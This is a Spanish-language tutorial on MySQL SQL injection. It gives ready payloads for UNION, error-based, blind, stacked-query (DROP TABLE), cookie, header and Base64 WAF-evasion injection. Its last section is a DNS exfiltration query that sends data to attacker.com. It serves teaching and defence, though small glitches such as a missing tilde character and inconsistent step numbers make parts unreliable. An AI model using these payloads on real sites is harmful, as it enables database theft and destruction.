Ataques de Inyección SQL: Conceptos y Detección

Introducción a la Inyección SQL

La inyección SQL ha sido consistentemente clasificada entre las principales vulnerabilidades de seguridad web por organizaciones como OWASP. Representa un grave problema en el desarrollo de aplicaciones web, permitiendo a actores maliciosos manipular bases de datos mediante la inserción de código SQL en campos de entrada de datos. En esencia, esta vulnerabilidad surge cuando los datos proporcionados por el usuario se interpretan y ejecutan como comandos SQL legítimos en lugar de simples valores.

La raíz del problema radica en cómo las aplicaciones web construyen y ejecutan consultas SQL. Si los valores de entrada de los usuarios se concatenan directamente en las sentencias SQL sin una validación o sanitización adecuada, un atacante puede insertar palabras clave SQL (como SELECT, DROP, UNION, etc.) que alteren la lógica original de la consulta, llevando a la ejecución de comandos no autorizados.

La Base de Datos information_schema en MySQL

A partir de MySQL versión 5.0, todos los servidores MySQL incluyen por defecto una base de datos especial llamada information_schema. Esta base de datos es crucial para el descubrimiento de información durante los ataques de inyección SQL, ya que contiene metadatos sobre todas las bases de datos, tablas, columnas y permisos del sistema.

Dentro de information_schema, tres tablas son particularmente relevantes para la explotación:

  • SCHEMATA: Almacena información sobre todas las bases de datos disponibles en el servidor. El campo de interés es SCHEMA_NAME, que contiene los nombres de las bases de datos.
  • TABLES: Contiene detalles sobre todas las tablas de todas las bases de datos. Los campos clave son TABLE_SCHEMA (nombre de la base de datos a la que pertenece la tabla) y TABLE_NAME (nombre de la tabla).
  • COLUMNS: Proporciona información sobre las columnas de todas las tablas en todas las bases de datos. Los campos esenciales son TABLE_SCHEMA, TABLE_NAME, y COLUMN_NAME.

Ejemplos de consultas para extraer metadatos:

  • Para obtener todos los nombres de bases de datos: ``` SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;
  • Para listar las tablas dentro de una base de datos específica, por ejemplo, 'mi_app_db': ``` SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'mi_app_db';
  • Para encontrar las columnas de una tabla específica, por ejemplo, 'usuarios' en la base de datos 'mi_app_db': ``` SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'mi_app_db' AND TABLE_NAME = 'usuarios';
  • Para obtener datos de una tabla comprometida: ``` SELECT usuario, clave FROM usuarios_app;
    
    

Mecanismo de la Inyección SQL

La inyección SQL ocurre cuando una aplicación web no valida ni sanea adecuadamente las entradas del usuario, permitiendo que los parámetros controlados por el atacante se inserten directamente en una consulta SQL y se ejecuten en la base de datos. Considere el siguiente fragmento de código PHP, vulnerable a inyección:

<?php
$identificador_usuario = $_REQUEST['id_usuario']; // Entrada no validada
$consulta_sql = "SELECT * FROM usuarios WHERE id = " . $identificador_usuario . " LIMIT 1;";
// ... ejecución de la consulta
?>

Las condiciones fundamentales para que exista una vulnerabilidad de inyección SQL son:

  1. **Parámetros controlables por el usuario:** La entrada que se pasa a la aplicación puede ser manipulada por el atacante.
  2. **Inclusión de parámetros en consultas SQL:** Los valores de entrada se concatenan directamente en las sentencias SQL que interactúan con la base de datos.

Clasificación de las Inyecciones SQL

Las inyecciones SQL se pueden categorizar de varias maneras:

Por el punto de inyección:

  • Numéricas: Cuando el parámetro esperado es un número.
  • De cadena: Cuando el parámetro esperado es una cadena de texto.
  • En búsquedas: A menudo involucran el operador LIKE.

Por el método de envío de datos:

  • GET: Parámetros en la URL.
  • POST: Parámetros en el cuerpo de la solicitud HTTP.
  • HEAD: A través de cabeceras HTTP específicas.
  • COOKIE: Mediante valores almacenados en cookies.

Por el efecto de ejecución o técnica:

  • Inyección basada en unión (UNION-based).
  • Inyección basada en errores (Error-based).
  • Inyección ciega booleana (Boolean-based Blind).
  • Inyección ciega basada en tiempo (Time-based Blind).
  • Inyección de sentencias apiladas (Stacked Queries).
  • Inyección de segundo orden (Second Order).
  • Inyección de caracteres anchos (Wide Byte).
  • Inyección a través de cookies.
  • Inyección a través de codificación Base64.
  • Inyección a través de DNS.

Detección de Inyección SQL

Las vulnerabilidades de inyección SQL suelen encontrarse en páginas web dinámicas que utilizan parámetros, como http://sitio.com/pagina.php?id=123&categoria=ejemplo. La presencia de uno o varios parámetros, ya sean enteros o cadenas, en una URL que interactúa con una base de datos, indica una posible superficie de ataque. La falta de validación de entrada por parte de los desarrolladores incrementa significativamente la probabilidad de una inyección.

-- Ejemplo de consulta para un parámetro de cadena
SELECT * FROM productos WHERE nombre_producto = '$nombre_buscado' LIMIT 1; 

-- Ejemplo de consulta para un parámetro numérico
SELECT * FROM clientes WHERE cliente_id = $id_cliente LIMIT 1; 

La lógica detrás de las pruebas con AND 1=1 y AND 1=2 se basa en operadores lógicos:

  • TRUE AND TRUE = TRUE (La página debería mostrarse normalmente).
  • TRUE AND FALSE = FALSE (La página debería cambiar o mostrar un error).

Identificación del Tipo de Inyección SQL

Para determinar si existe una inyección SQL y su tipo (numérica o de cadena), se pueden seguir estos pasos, tomando como ejemplo http://ejemplo.com/pagina.php?param=VALOR:

Para identificar una inyección numérica:

  1. Añada una comilla simple a la URL: http://ejemplo.com/pagina.php?param=VALOR'. Si la página devuelve un error o un comportamiento inesperado, sugiere una inyección de cadena o que el servidor espera una cadena.
  2. Añada AND 1=1: http://ejemplo.com/pagina.php?param=VALOR AND 1=1. Si la página se carga normalmente y muestra el contenido esperado, esto indica que la condición AND 1=1 es verdadera y se está evaluando dentro de la consulta SQL.
  3. Añada AND 1=2: http://ejemplo.com/pagina.php?param=VALOR AND 1=2. Si la página cambia o muestra un error (debido a que 1=2 es falso), confirma la inyección numérica. Si los pasos 2 y 3 producen resultados diferentes, es muy probable que exista una inyección SQL numérica.

Para identificar una inyección de cadena:

Si la prueba numérica no da resultados concluyentes, intente con la de cadena:

  1. Añada una comilla simple seguida de un comentario (-- o # en MySQL): http://ejemplo.com/pagina.php?param=VALOR' -- comentario. Si la página se carga normalmente, indica que la comilla simple cerró correctamente una cadena en la consulta original, y el comentario ignoró el resto de la consulta.
  2. Añada ' AND 1=1 -- comentario: http://ejemplo.com/pagina.php?param=VALOR' AND 1=1 -- comentario. La página debería cargar normalmente.
  3. Añada ' AND 1=2 -- comentario: http://ejemplo.com/pagina.php?param=VALOR' AND 1=2 -- comentario. La página debería mostrar un comportamiento aómalo o un error. Si los pasos 5 y 6 producen resultados diferentes, confirma la inyección SQL de cadena.

Inyección Basada en UNION (UNION-based Injection)

La inyección UNION permite combinar los resultados de una consulta inyectada con los de la consulta original, extrayendo así datos de la base de datos. Es una técnica de inyección "en banda" porque los datos se devuelven en la misma respuesta HTTP.

Proceso de Inyección UNION:

  1. **Detección del punto de inyección:** Utilizar las técnicas descritas anteriormente (', AND 1=1, AND 1=2) para confirmar una inyección de cadena o numérica.
    • http://sitio.com/productos.php?id=1' (Error)
    • http://sitio.com/productos.php?id=1' -- - (Normal)
    • http://sitio.com/productos.php?id=1' AND 1=1 -- - (Normal)
    • http://sitio.com/productos.php?id=1' AND 1=2 -- - (Anomalía/Error)
      Confirma una inyección de cadena. (-- - es una forma común de comentario en SQL para omitir el resto de la consulta).
  2. **Determinación del número de columnas:** Se utiliza la cláusula ORDER BY para averiguar cuántas columnas tiene la consulta original.
    • http://sitio.com/productos.php?id=1' ORDER BY 3 -- - (Normal, si hay al menos 3 columnas)
    • http://sitio.com/productos.php?id=1' ORDER BY 4 -- - (Error, si no hay 4 columnas)
      Si el error ocurre con ORDER BY 4, la consulta tiene 3 columnas.
  3. **Identificación de columnas visibles (puntos de reflejo):** Una vez que se sabe el número de columnas, se usa UNION SELECT con un ID negativo (para que la consulta original no devuelva resultados) y números en las posiciones de las columnas.
    • http://sitio.com/productos.php?id=-1' UNION SELECT 1,2,3 -- -
      Esto mostrará los números 1, 2 y 3 en las posiciones de las columnas que la aplicación está imprimiendo en pantalla. Estos son los "puntos de reflejo" donde se puede inyectar datos.
  4. **Extracción de datos:** Sustituir los números de los puntos de reflejo por funciones SQL o nombres de columnas para extraer información.

Inyección POST

La inyección POST sigue la misma lógica y metodología que la inyección GET o UNION, con la única diferencia de que los datos maliciosos se envía en el cuerpo de una solicitud HTTP POST, típicamente a través de formularios web. Herramientas como Burp Suite o Fiddler son esenciales para interceptar y modificar las solicitudes POST para realizar estas inyecciones.

Inyección Basada en Errores (Error-based Injection)

Este tipo de inyección se aprovecha de la visualización de mensajes de error de la base de datos en la interfaz de la aplicación. Si la aplicación no suprime estos mensajes, un atacante puede inducir errores deliberadamente que contengan los datos deseados. Funciones SQL específicas están diseñadas para generar errores que revelan información cuando se utilizan con argumentos incorrectos.

Funciones comunes para inyección basada en errores en MySQL:

  • UPDATEXML()
  • EXTRACTVALUE()
  • FLOOR()
  • EXP()

UPDATEXML() y EXTRACTVALUE() son particularmente útiles ya que están diseñadas para procesar documentos XML y pueden generar errores si la expresión XPath proporcionada no tiene un formato válido.

Función EXTRACTVALUE():

Sintaxis: EXTRACTVALUE(xml_documento, xpath_expresion)

  • xml_documento: La cadena XML sobre la cual se buscará.
  • xpath_expresion: Una expresión XPath para seleccionar nodos. Si esta expresión es sintácticamente incorrecta, MySQL generará un error que a menudo incluye la cadana no válida.

Ejemplo: SELECT EXTRACTVALUE('<root><data>informacion</data></root>', '/root/data');

Un atacante puede concatenar el resultado de una subconsulta con una expresión XPath inválida para forzar que el resultado de la subconsulta aparezca en el mensaje de error. Por ejemplo:

SELECT EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version), 0x7e));

Aquí, 0x7e es el carácter ''. La concatenación de '' con la versión del servidor MySQL (SELECT @@version) forma una cadena que no es una XPath válida, causando un error que revela la versión.

Función UPDATEXML():

Sintaxis: UPDATEXML(xml_documento, xpath_expresion, nuevo_valor)

  • xml_documento: El documento XML a modificar.
  • xpath_expresion: Expresión XPath para el nodo a actualizar.
  • nuevo_valor: El nuevo contenido para el nodo.

Similar a EXTRACTVALUE(), si la xpath_expresion es inválida, UPDATEXML() puede generar un error que revele datos. Ejemplo de uso de UPDATEXML() para inyección basada en errores:

SELECT UPDATEXML(1, CONCAT(0x7e, (SELECT CURRENT_USER()), 0x7e), 1);

Esta consulta inyectada forzaría un error XML que incluiría el nombre del usuario actual de la base de datos.

Inyección en Cabeceras HTTP (HEAD Injection)

En PHP, muchas variables predefinidas son "superglobales", lo que significa que están disponibles en todos los ámbitos de un script. Algunas de estas variables, que contienen información de las cabeceras HTTP, pueden ser vulnerables a inyección SQL si sus valores no son validados antes de ser usados en consultas de base de datos. Los atacantes pueden manipular estas cabeceras en sus solicitudes HTTP.

Variables $_SERVER relevantes que pueden ser explotadas:

  • $_SERVER['HTTP_HOST']: El nombre del host al que se envió la solicitud.
  • $_SERVER['HTTP_USER_AGENT']: Información sobre el navegador y sistema operativo del cliente.
  • $_SERVER['HTTP_REFERER']: La URL de referencia desde la cual el usuario llegó a la página actual.
  • $_SERVER['HTTP_X_FORWARDED_FOR']: A menudo utilizado por proxies para indicar la IP original del cliente.
  • $_SERVER['REMOTE_ADDR']: La dirección IP del cliente que hace la solicitud.

Si una aplicación PHP utiliza, por ejemplo, $_SERVER['HTTP_USER_AGENT'] directamente en una consulta SQL, un atacante puede modificar su cabecera User-Agent para insertar código SQL malicioso.

Inyección Ciega Booleana (Boolean-based Blind Injection)

La inyección ciega se aplica en escenarios donde la aplicación web no devuelve mensajes de error de la base de datos ni los resultados directos de las consultas SQL. En su lugar, el atacante debe inferir la información basándose en diferencias sutiles en la respuesta de la aplicación, como un cambio en el contenido de la página o un comportamiento verdadero/falso. La inyección ciega booleana se basa en observar si una condición evaluada en la consulta SQL resulta en verdadero o falso, lo que se refleja en la presentación de la página.

La clave es construir condiciones SQL que, cuando son verdaderas, provoquen una respuesta normal de la página, y cuando son falsas, provoquen una respuesta diferente (ej. un mensaje de error genérico, un contenido de página reducido, o incluso una página en blanco). Esto se logra mediante el uso de operadores lógicos como AND y OR junto con funciones de cadena y comparaciones para extraer información carácter por carácter.

Ejemplo de prueba con un id vulnerable: http://sitio.com/item.php?id=1 AND 1=1 (Si la página carga normalmente) http://sitio.com/item.php?id=1 AND 1=2 (Si la página cambia o no carga) Esta diferencia de comportamiento confirma la vulnerabilidad.

Para extraer datos, se usarían consultas como:

-- ¿La primera letra del nombre de la base de datos es 'a'?
SELECT * FROM productos WHERE id=1 AND SUBSTRING(DATABASE(), 1, 1) = 'a'; 

-- Si la página responde normalmente, la primera letra es 'a'. 
-- Se repite para cada carácter y posición hasta reconstruir todo el nombre.

Inyección de Sentencias Apiladas (Stacked Queries Injection)

La inyección de sentencias apiladas permite ejecutar múltiples sentencias SQL en una sola cadena de consulta, separadas por un punto y coma (;). A diferencia de UNION, que solo puede combinar resultados de consultas SELECT, las sentencias apiladas pueden ejecutar cualquier tipo de comando SQL (INSERT, UPDATE, DELETE, CREATE, DROP, etc.), lo que la hace extremadamente potente.

El principal impedimento para la inyección de sentencias apiladas es que no todas las APIs o funciones de base de datos permiten la ejecución de múltiples sentencias. Por ejemplo, en PHP, la función mysqli_query() solo ejecuta una sentencia SQL, ignorando cualquier cosa después del primer punto y coma. Sin embargo, mysqli_multi_query() sí soporta múltiples sentencias. Por lo tanto, esta técnica depende en gran medida de la configuración específica de la aplicación y la API de la base de datos utilizada.

Ejemplo de una consulta apilada:

-- Consulta original:
SELECT * FROM articulos WHERE id_articulo = '1';

-- Consulta inyectada:
SELECT * FROM articulos WHERE id_articulo = '1'; DROP TABLE usuarios_sensibles; --

En este ejemplo, si la aplicación permite sentencias apiladas, no solo se ejecutaría la consulta SELECT, sino también el comando DROP TABLE usuarios_sensibles, eliminando la tabla.

Inyección de Segundo Orden (Second Order Injection)

La inyección de segundo orden ocurre cuando datos maliciosos, que han sido previamente "limpiados" o "escapados" antes de su almacenamiento inicial en la base de datos, son recuperados más tarde por la aplicación y utilizados en una nueva consulta SQL sin una validación o sanitización adicional. Esto puede llevar a una inyección en la segunda etapa del proceso, de ahí el nombre.

Mecanismo:

  1. **Almacenamiento de datos maliciosos:** Un atacante inserta datos aparentemente inofensivos (o ya escapados) en la base de datos. Por ejemplo, un nombre de usuario como 'OR 1=1--. La aplicación lo escapa y lo guarda como ''OR 1=1--.
  2. **Reutilización de datos maliciosos:** Más tarde, otra parte de la aplicación recupera este "nombre de usuario" de la base de datos y lo inserta en una nueva consulta SQL sin volver a escapar los caracteres especiales. Si la lógica de la segunda consulta interpreta la cadena escapada como SQL, se produce la inyección.

Esto a menudo explota la suposición de que los datos en la base de datos ya son "seguros" o han sido validados previamente.

Inyección por Cookie (Cookie Injection)

Algunas aplicaciones web son vulnerables a la inyección SQL a través de las cookies si los valores de las cookies se utilizan directamente en consultas SQL sin una validación o sanitización adecuada. Aunque las cookies son creadas por el servidor y almacenadas en el cliente, un atacante puede manipular fácilmente los valores de sus propias cookies.

Proceso de Inyección por Cookie:

  1. **Identificar el uso de cookies:** Buscar URLs con parámetros como .php?id=1.
  2. **Manipular cookies:** Usar herramientas de proxy (como Burp Suite) para interceptar solicitudes y modificar los valores de las cookies. Por ejemplo, si un ID de usuario se almacena en una cookie, se podría cambiar a id=1' AND 1=1 -- -.
  3. **Aplicar técnicas de inyección:** Una vez que se identifica que un valor de cookie es vulnerable, se aplican las mismas técnicas de inyección (UNION, error-based, ciega) para extraer información o manipular la base de datos.

Inyección Base64

La inyección Base64 es una técnica utilizada para eludir sistemas de protección (como Web Application Firewalls - WAFs) que monitorean y filtran parámetros de URL o POST en busca de patrones de ataque SQL conocidos. Consiste en codificar los payloads de inyección SQL en Base64 antes de enviarlos a la aplicación. Si la aplicación descodifica el parámetro antes de usarlo en la consulta SQL y no realiza una validación adicional después de la descodificación, el WAF podría no detectar el ataque.

Ejemplos de parámetros codificados:

  • Parámetro original: id=1 -> Codificado Base64: id=MQ==
  • Parámetro original: id=1' -> Codificado Base64: id=MSc=
  • Parámetro original: id=1 AND 1=1 -> Codificado Base64: id=MSBBTkQgMT0x

El atacante enviaría la versión codificada, esperando que la aplicación la descodifique antes de la consulta. Si el WAF solo inspecciona el valor codificado, el ataque podría pasar desapercibido.

Inyección a través de DNS (DNS Exfiltration)

En escenarios de inyección ciega extrema donde no es posible obtener una respuesta directa ni errores en la página, la exfiltración de datos a través de DNS se convierte en una opción. Esta técnica implica forzar a la base de datos a realizar solicitudes de resolución de nombres de dominio (DNS) a un servidor controlado por el atacante. Los datos que se desean extraer se codifican y se insertan en los subdominios de estas solicitudes DNS.

Para que esta técnica funcione, el servidor de base de datos debe tener permisos para realizar solicitudes de red salientes y se debe poder ejecutar funciones específicas de la base de datos que permitan esto.

Condiciones y funciones clave:

  • El servidor de base de datos debe ser capaz de iniciar conexiones de red, típicamente para resolver nombres de host externos.
  • En MySQL, la función LOAD_FILE() puede ser utilizada para intentar leer archivos, y en el proceso, puede intentar resolver nombres de host si se le da una ruta UNC o un nombre de host.

Comando para verificar el estado de secure_file_priv en MySQL (que puede restringir LOAD_FILE()):

SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';

Un valor vacío para secure_file_priv indica que LOAD_FILE() puede leer cualquier archivo accesible. Un ejemplo de exfiltración de DNS en MySQL podría involucrar la creación de un dominio malicioso (ej. attacker.com) y la inyección de una consulta como:

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(SUBSTRING(CURRENT_USER(),1,10))), '.attacker.com\\foo'));

Esta consulta intentaría que el servidor DNS resuelva <dato_exfiltrado>.attacker.com. El atacante, monitoreando su servidor DNS, vería la solicitud entrante y podría reconstruir el dato (en este caso, los primeros 10 caracteres del usuario actual, codificados en hexadecimal).

Etiquetas: SQL injection MySQL OWASP Top 10 Web Security Database Security

Publicado el 6-12 18:25